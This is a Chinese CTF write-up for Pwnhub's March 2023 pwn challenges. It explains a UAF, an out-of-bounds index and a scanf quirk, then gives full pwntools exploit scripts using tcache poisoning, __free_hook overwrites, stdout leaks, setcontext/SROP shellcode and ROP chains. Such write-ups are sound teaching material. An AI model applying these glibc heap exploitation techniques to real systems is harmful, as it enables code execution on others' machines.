Pwnhub 2023 三月 Pwn 专场

这下我也是有Pornwnhub账号的人了(

Pwnhub 2023-Mar 月赛 Pwn WriteUp

赛时就出了一个,看了WP直接拍大腿。

sh_v1.1

第一眼看上去就是一堆意义不明的运算,还基本相同,而且看起来对程序正常运行没啥影响。

todo
todo: 自动化去花指令

所以先nop之,然后基本代码逻辑就能看出来了。

可以看出来程序实现了一个基于类shell的笔记本。

漏洞点在lnrm处,删除时并未检测文件是否有链接并全部删除之,链接文件元数据中的指针没有清空,造成UAF

没给libc,就要锁定版本了。

先随便申请两个堆块,删除之,UAF,看看堆块的指针值。

可以看到有2a0字样且为6字节整,版本2.26~2.31

double free试一下,有报错,版本2.29~2.31

然后就是基本操作了,uaftcahcefd指针达到任意地址写,unsorted bin泄露libc,打freehook

找libc比较费事,用unsorted bin泄露的地址算出malloc hook,再丢进如libc.rip这种网站查一波就能查出来几个版本然后挨个试就行了。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
context(os="linux",arch="amd64",log_level="debug")
s=remote("121.40.89.206",34883)
libc=ELF("libc6_2.31-0ubuntu9.2_amd64.so")
def touch(filename,content="/bin/sh\x00"):
    s.sendlineafter(b">>>>",f"touch {filename}".encode())
    sleep(0.1)
    s.sendline(content)
def rm(filename):
    s.sendlineafter(b">>>>",f"rm {filename}")
def gedit(filename,content="/bin/sh\x00"):
    s.sendlineafter(b">>>>",f"gedit {filename}".encode())
    sleep(1)
    s.sendline(content)
def ln(arg1,arg2):
    s.sendlineafter(b">>>>",f"ln {arg1} {arg2}".encode())
def cat(filename):
    s.sendlineafter(b">>>>",f"cat {filename}".encode())
    return s.recvline(keepends=False)
if __name__=="__main__":
    sleep(2)
    for i in range(10):
        touch(f"file{i}")
        ln(f"file{i}",f"lnfile{i}")
    for i in range(8):
        rm(f"file{i}")
    sleep(2)
    heap_base=u64(cat("lnfile1").ljust(8,b"\x00"))-0x2a0
    success("heap base: "+hex(heap_base))
    libc_base=u64(cat("lnfile7").ljust(8,b"\x00"))-0x10-96-libc.sym.__malloc_hook
    success("libc base: "+hex(libc_base))
    gedit("lnfile6",content=p64(libc_base+libc.sym.__free_hook))
    touch("final1",content=b"/bin/sh\x00")
    touch("final2",content=p64(libc_base+libc.sym.system))
    rm("final1")
    s.interactive()

three_edit

只能申请0x50-0x70之间大小的堆块,堆块列表在堆上,edit没有对idx下界做检查。

没有show,那就考虑unsorted binstdout leak了。原理从略。

至于ubin的来源,既然都能控制堆块列表了,那构造指向伪造的堆块的指针,就是基本操作了。

爆破stdout第4个bytes,$\frac{1}{16}$的成功率。

剩下的就是常规操作了。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from pwn import *
context(os="linux",arch="amd64",log_level="info")
s=process("./pwn4")
#s=remote("121.40.89.206",21795)
libc=ELF("./libc-2.31.so")

def menu(ch):
    s.sendlineafter(b"is:",str(ch).encode())
def add(idx,sz,content="/bin/sh\x00",phase_2=False):
    menu(1)
    pattern0=b"index:"
    pattern1=b"size:"
    pattern2=b"content:"
    if not phase_2:
        pattern0+=b"\n"
        pattern1+=b"\n"
        pattern2+=b"\n"
    s.sendafter(pattern0,str(idx).encode())
    s.sendafter(pattern1,str(sz).encode())
    s.sendlineafter(pattern2,content)
def delete(idx,phase_2=False):
    menu(2)
    pattern=b"index?"
    if not phase_2:
        pattern+=b"\n"
    s.sendafter(pattern,str(idx).encode())
def edit(idx,content,phase_2=False):
    menu(3)
    pattern1=b"index?"
    pattern2=b"new content:"
    if not phase_2:
        pattern1+=b"\n"
        pattern2+=b"\n"
    s.sendafter(pattern1,str(idx).encode())
    s.sendlineafter(pattern2,content)

def pwn():
    #gdb.attach(s)
    for i in range(9):
        add(i,0x70)
    add(9,0x50,p64(0x21)*10)
    add(10,0x50,p64(0x21)*10) # bypass nextinuse part, make it 1
    p0=flat([0,0,0,0x421]) # unsorted bin struct
    edit(1,p0)
    delete(1)
    delete(2)
    edit(-60,b"\x40")
    add(2,0x70)
    add(1,0x70) # unsorted bin get
    delete(4)
    delete(1)
    delete(2)
    delete(3)
    edit(-60,b"\x40") # ptr to unsorted bin fd
    add(4,0x70)
    edit(-60,b"\xa0\xb6") # crack stdout 2 lowest bit
    add(3,0x70)
    pause()
    add(2,0x70,p64(0xfbad1800)+p64(0)*3+b"\x08")
    dat=u64(s.recv(6).ljust(8,b"\x00"))
    print(hex(dat))
    if dat<0x7f0000000000:
        raise
    libc_base=dat-(0x7fd7794ea980-0x7fd7792ff000)
    success("libc base: "+hex(libc_base))
    pause()
    delete(7,True)
    delete(6,True)
    edit(-60,p64(libc_base+libc.sym.__free_hook),True)
    add(7,0x70,phase_2=True)
    add(6,0x70,p64(libc_base+libc.sym.system),phase_2=True)
    delete(5,True)

if __name__=="__main__":
    while 1:
        try:
            pwn()
            s.interactive()
        except:
            print("err")
            s.close()
            s=process("./pwn4")
            #s=remote("121.40.89.206",21795)

ttsc

一个骚东西,scanf("%d")如果单纯输入一个负号即-,这个输入不会有内存的写入操作,但会认为已经输入完成。

即:

1
2
3
scanf: 我吃进了一个符号哈。

mem: 好的,无事发生。

对于这道题,在init部分中输入的两个数字对应的内存位置正好有一个IO相关指针,使用前面提到的方法,可以不覆盖这个指针,进而通过它来泄露libc地址。

然后就没啥了(

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
context(os="linux",arch="amd64",log_level="debug")
p=remote("121.40.89.206",20111)
#p=process("./ttsc")
libc=ELF("./libc-2.27.so")

def cmd(ch):
    p.sendlineafter(b"chs:",str(ch).encode())
def add(idx, size, content=b"/bin/sh\x00"): 
    cmd(1) 
    p.sendlineafter(b"index?\n", str(idx).encode()) 
    p.sendlineafter(b"size:\n", str(size).encode()) 
    sleep(0.1) 
    p.send(content) 
def free(idx): 
    cmd(2) 
    p.sendlineafter(b"index?\n", str(idx).encode()) 
def edit(idx, content): 
    cmd(3) 
    p.sendlineafter(b"index?\n", str(idx).encode()) 
    p.sendafter(b"content:", content)
if __name__=="__main__":
    p.sendlineafter("what is your name?\n", b"a") 
    p.sendlineafter("age?\n", b"-") 
    p.sendlineafter("high?\n", b"-") 
    p.recvuntil(b"age: ") 
    lo = int(p.recvuntil(b"\n", drop=True), 10) 
    if lo<0: 
        lo = 0x100000000 + lo 
    p.recvuntil(b"high: ")
    hi = int(p.recvuntil(b"\n", drop=True), 10) 
    success("lo-->" + hex(lo)) 
    success("hi-->" + hex(hi)) 
    _IO_file_jumps = (hi << 32) | lo 
    success("_IO_file_jumps-->" + hex(_IO_file_jumps)) 
    libc_base = _IO_file_jumps - libc.sym["_IO_file_jumps"] 
    success("libc_base-->" + hex(libc_base))
    add(0,0x18)
    add(1,0x18)
    add(2,0x18)
    add(3,0x18)
    edit(0,b"a"*0x18+b"\x71")
    free(1)
    free(2)
    free(3)
    add(1,0x68,b"a"*0x18+p64(0x21)+p64(0)*3+p64(0x21)+p64(libc_base+libc.sym.__free_hook))
    add(2,0x18)
    add(3,0x18,p64(libc_base+libc.sym.system))
    free(2)
    p.interactive()

tototo

给了各10次的malloc和calloc,edit限制从ptr+9起,delete有UAF,只清零了自建的inuse数组。

两种方法。

一种是官方WP的。

  • tcache stach unlink 打 mp_.tcache_bins 让更大的堆块进入tcache
  • 这里提到的第二条利用链,先利用UAF申请到malloc_hook附近的大堆块,然后__malloc_hook改setcontext+61/53,stdin全扬了,stdin->_IO_write_ptr改指向构造好的ucontext_t结构体的指针,stdin->vtable改_IO_str_jumps->_IO_str_overflow。
  • 然后触发exit,触发exit->fcloseall->_IO_clean_up->_IO_flush_all_lockp->_IO_str_overflow->malloc->setcontext这条调用链,最后shellcode还是rop就任君选择了。
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
from pwn import *
context(
    os="linux",
    arch="amd64",
    log_level="debug"
)
debug=1
#s=process("./remote.tototo")
#libc=ELF("./libc-2.31.so")
if debug:
    s=process("./original.tototo")
    libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
    s=process("./tototo")
    libc=ELF("./libc-2.31.so")

def menu(ch):
    s.sendafter(b"is:",str(ch).encode())
def add(idx,sz,typeadd=0):
    if typeadd==0:menu(1) #malloc
    if typeadd==1:menu(5) #calloc
    s.sendafter(b"index?\n",str(idx).encode())
    s.sendafter(b"size?\n",str(sz).encode())
def delete(idx):
    menu(2)
    s.sendafter(b"Which one?\n",str(idx).encode())
def edit(idx,content):
    menu(3)
    s.sendafter(b"Which one?\n",str(idx).encode())
    s.sendlineafter(b"new content?\n",content)
def show(idx):
    menu(4)
    s.sendafter(b"Which one?\n",str(idx).encode())
    return s.recvline(keepends=False)
if __name__=="__main__":
    add(10,0x500)
    add(0,0x5d0)
    add(2,0x2e0)
    add(3,0x2e0)
    add(4,0x2e0,1)
    delete(0)
    add(0,0x2e0)
    add(1,0x2e0)
    if debug:
        offset=(0x7faefddb4040-0x7faefdbe4000)
    else:
        offset=(0x7fca21288040-0x7fca2109c000)
    libc_base=u64(show(0).ljust(8,b"\x00"))-offset
    success("libc base: "+hex(libc_base))
    if debug:
        offset=0x1cf2d0
    else:
        offset=0x1eb2d0
    mp_tcache_bins=libc_base+offset
    stdin=libc_base+libc.sym._IO_2_1_stdin_
    add(5,0x2e0)
    add(6,0x2e0)

    # fill tcache bin
    delete(0)
    delete(1)
    delete(2)
    delete(3)
    delete(4)
    delete(5)
    delete(6)
    # fill small bin
    add(0,0x2e0,1)
    add(1,0x2e0,1)
    add(2,0x2e0,1)
    add(3,0x2e0,1)
    delete(0)
    delete(2) #edit chunk2->bk==tcache_bins-0x10 #set 0x2c0
    
    add(4,0x500,1)
    add(7,0x2e0)

    info("mp.tcache_bins: "+hex(mp_tcache_bins))
    edit(2,p64(mp_tcache_bins>>8))
    add(11,0x2e0,1)
    delete(10)
    edit(10,b"a"*7+p64(stdin-0x10)*0x50)
    add(10,0x500)

    malloc_hook=libc_base+libc.sym.__malloc_hook
    setcontext=libc_base+libc.sym.setcontext

    fake_io=FileStructure()
    fake_io.flags=0xfbad1800
    fake_io._IO_write_ptr=stdin+0xe0
    fake_io.vtable=libc_base+(0x7f2d99b12540-0x7f2d99946000) #_IO_str_jumps

    srop_mprotect=SigreturnFrame()
    srop_mprotect.rsp=malloc_hook+8
    srop_mprotect.rdi=malloc_hook&0xfffffffffffff000
    srop_mprotect.rsi=0x1000
    srop_mprotect.rdx=7
    srop_mprotect.rip=libc_base+libc.sym.mprotect

    chunk_edit=bytes(srop_mprotect)
    shellcode="""
        xor rsi,rsi
        mov rax,SYS_open
        call start
    .string "./flag.txt"
    start:
        pop rdi
        syscall
        mov rdi,rax
        mov rsi,rsp
        mov rdx,0x100
        mov rax,SYS_read
        syscall
        mov rdi,1
        mov rsi,rsp
        mov rdx,0x100
        mov rax,SYS_write
        syscall
        mov rax,SYS_exit
        syscall
    """
    malloc_hook_to_edit=flat([
        setcontext+61,malloc_hook+0x10,asm(shellcode)
    ])
    payload=bytes(fake_io)+chunk_edit+p64(0)*3+malloc_hook_to_edit
    edit(10,b"a"*7+payload)
    menu(1)
    s.interactive()

另一种是群友的。泄露_environ打栈。

嗯,牛逼。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn import *


#p = process('./tototo')
p = remote('121.40.89.206', 36789)
context(arch='amd64')

elf = ELF('./tototo')
libc = ELF('./libc-2.31.so')

menu = b'is:'
def add(idx, size):
    p.sendlineafter(menu, b'1')
    p.sendlineafter(b"index?\n", str(idx).encode())
    p.sendlineafter(b"size?\n", str(size).encode())

def free(idx):
    p.sendlineafter(menu, b'2')
    p.sendlineafter(b"Which one?", str(idx).encode())

def edit(idx, msg):
    p.sendlineafter(menu, b'3')
    p.sendlineafter(b"Which one?\n", str(idx).encode())
    p.sendlineafter(b"new content?\n", msg[9:])

def show(idx):
    p.sendlineafter(menu, b'4')
    p.sendlineafter(b"Which one?\n", str(idx).encode())

def add2(idx, size):
    p.sendlineafter(menu, b'5')
    p.sendlineafter(b"index?\n", str(idx).encode())
    p.sendlineafter(b"size?\n", str(size).encode())

add2(0, 0x620)
add2(1, 0x200)

free(0)
show(0)
libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x70 - libc.sym['__malloc_hook']
print(hex(libc.address))

add(2, 0x200)
add(3, 0x200)
add(4, 0x200)
free(1)
free(3)
show(3)
heap_base = u64(p.recvline()[:-1].ljust(8, b'\x00'))
print(hex(heap_base))

context.log_level='debug'
edit(0, b'\x00'*0x208+p64(0x211)+ p64(libc.sym['_environ']))  #1
add(3, 0x200)
add(5, 0x200)
show(5)
stack = u64(p.recvline()[:-1].ljust(8, b'\x00'))
print(hex(stack))

free(4)
free(3)
edit(0, b'\x00'*0x208+p64(0x211)+ p64(stack - 0x120 -0x30))  #2
add(3, 0x200)
add(6, 0x200) #

#gdb.attach(p)
#pause()

#ORW
pop_rdi = libc.address + 0x0000000000026b72 # pop rdi ; ret
pop_rdx = libc.address + 0x000000000011c371 # pop rdx ; pop r12 ; ret
pop_rsi = libc.address + 0x0000000000027529 # pop rsi ; ret
pop_rax = libc.address + 0x000000000004a550 # pop rax ; ret
syscall = libc.address + 0x0000000000066229

orw = [0,0,pop_rdi, 0, pop_rsi, 0, pop_rdx, 0,0, pop_rax,2, syscall, #O 1
       pop_rdi, 3, pop_rsi, 0, pop_rdx, 0x100,0, pop_rax,0, syscall, #R 13
       pop_rdi, 1, pop_rax, 1, syscall,                          #W
       b'flag.txt',0]
orw[3] = stack - 0x120 -0x30 + (len(orw)-2)*8
orw[15] = orw[3]
edit(6, flat(orw))
print(p.recv(0x100))

p.interactive()
0%